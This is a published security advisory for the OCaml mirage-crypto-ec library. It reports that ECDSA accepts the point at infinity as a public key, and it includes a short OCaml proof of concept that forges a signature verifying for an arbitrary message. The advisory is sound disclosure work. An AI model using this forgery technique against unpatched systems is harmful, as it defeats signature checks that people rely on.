osec-2026-13
Vulnerability from osv_ocaml
Published
2026-07-27 19:00
Modified
2026-07-27 19:00
Summary
ECDSA accepts the point at infinity as a P256, P384, P521 public key
Details

P256{,P384,P521}.Dsa.pub_of_octets accepts 0x00, the encoding of the point at infinity, as a public key. The Diffie-Hellman path rejects that point (point_of_octets); the ECDSA path skips the same check. Under such a key a signature can be forged with no private key, as the repro shows.

The same class is treated as high severity elsewhere. CVE-2022-21449 ("Psychic Signatures", OpenJDK) let a blank ECDSA signature verify, and CVE-2020-0601 ("CurveBall", Windows CryptoAPI) accepted a crafted ECC public key for certificate validation. Both are missing-validation forgeries on the same primitive.

Solution

Check for point at infinity in pub_of_octets.

Reproduction

module Dsa = Mirage_crypto_ec.P256.Dsa

(* 0x00 is the SEC1 encoding of the point at infinity A a signature using it can be forged for
   any message with no private key. *)
let () =
  Mirage_crypto_rng.(set_default_generator (create ~seed:"forge" (module Fortuna)));
  let o_key = Result.get_ok (Dsa.pub_of_octets "\x00") in
  let z = Digestif.SHA256.(to_raw_string (digest_string "transfer 1000eur to mallory")) in
  let r, _ = Dsa.sign ~key:(Result.get_ok (Dsa.priv_of_octets z)) ~k:z z in
  let s = String.make 31 '\000' ^ "\001" in
  Printf.printf "0x00 accepted as a public key:    %b\n" (Result.is_ok (Dsa.pub_of_octets "\x00"));
  Printf.printf "forged (r, s=1) verifies under O:  %b\n" (Dsa.verify ~key:o_key (r, s) z)

Timeline

  • June 25th 2026: report to ocaml/security-advisories
  • June 29th: acknowledgement of issue with several questions for the reporter
  • July 6th: answers from reporter, including a patch
  • July 27th: release of mirage-crypto 2.2.0 and security advisory
Credits
Thomas Gazagnaire
Thomas Gazagnaire
Hannes Mehnert

{
  "affected": [
    {
      "ecosystem_specific": {
        "opam_constraint": "mirage-crypto-ec {\u003c \"2.2.0\"}"
      },
      "package": {
        "ecosystem": "opam",
        "name": "mirage-crypto-ec",
        "purl": "pkg:opam/mirage-crypto-ec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "ca84f5ee8ede80bd1dd2aa4cd7cc90197752184e"
            }
          ],
          "repo": "https://github.com/mirage/mirage-crypto.git",
          "type": "GIT"
        }
      ],
      "versions": [
        "0.9.0",
        "0.9.1",
        "0.9.2",
        "0.10.0",
        "0.10.1",
        "0.10.2",
        "0.10.3",
        "0.10.4",
        "0.10.5",
        "0.10.6",
        "0.10.7",
        "0.11.0",
        "0.11.1",
        "0.11.2",
        "0.11.3",
        "1.0.0",
        "1.1.0",
        "1.2.0",
        "2.0.0",
        "2.0.1",
        "2.0.2",
        "2.0.3",
        "2.1.0"
      ]
    }
  ],
  "credits": [
    {
      "name": "Thomas Gazagnaire",
      "type": "REPORTER"
    },
    {
      "name": "Thomas Gazagnaire",
      "type": "REMEDIATION_DEVELOPER"
    },
    {
      "name": "Hannes Mehnert",
      "type": "REMEDIATION_REVIEWER"
    }
  ],
  "database_specific": {
    "cwe": [
      "CWE-295"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-13.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-13.json"
  },
  "details": "`P256{,P384,P521}.Dsa.pub_of_octets` accepts 0x00, the encoding of the point at infinity, as a public key. The Diffie-Hellman path rejects that point (`point_of_octets`); the ECDSA path skips the same check. Under such a key a signature can be forged with no private key, as the repro shows.\n\nThe same class is treated as high severity elsewhere. CVE-2022-21449 (\"Psychic Signatures\", OpenJDK) let a blank ECDSA signature verify, and CVE-2020-0601 (\"CurveBall\", Windows CryptoAPI) accepted a crafted ECC public key for certificate validation. Both are missing-validation forgeries on the same primitive.\n\n## Solution\n\nCheck for point at infinity in `pub_of_octets`.\n\n## Reproduction\n\n```OCaml\nmodule Dsa = Mirage_crypto_ec.P256.Dsa\n\n(* 0x00 is the SEC1 encoding of the point at infinity A a signature using it can be forged for\n   any message with no private key. *)\nlet () =\n  Mirage_crypto_rng.(set_default_generator (create ~seed:\"forge\" (module Fortuna)));\n  let o_key = Result.get_ok (Dsa.pub_of_octets \"\\x00\") in\n  let z = Digestif.SHA256.(to_raw_string (digest_string \"transfer 1000eur to mallory\")) in\n  let r, _ = Dsa.sign ~key:(Result.get_ok (Dsa.priv_of_octets z)) ~k:z z in\n  let s = String.make 31 \u0027\\000\u0027 ^ \"\\001\" in\n  Printf.printf \"0x00 accepted as a public key:    %b\\n\" (Result.is_ok (Dsa.pub_of_octets \"\\x00\"));\n  Printf.printf \"forged (r, s=1) verifies under O:  %b\\n\" (Dsa.verify ~key:o_key (r, s) z)\n```\n\n## Timeline\n\n- June 25th 2026: report to ocaml/security-advisories\n- June 29th: acknowledgement of issue with several questions for the reporter\n- July 6th: answers from reporter, including a patch\n- July 27th: release of mirage-crypto 2.2.0 and security advisory",
  "id": "OSEC-2026-13",
  "modified": "2026-07-27T19:00:00Z",
  "published": "2026-07-27T19:00:00Z",
  "references": [],
  "schema_version": "1.7.4",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ECDSA accepts the point at infinity as a P256, P384, P521 public key"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…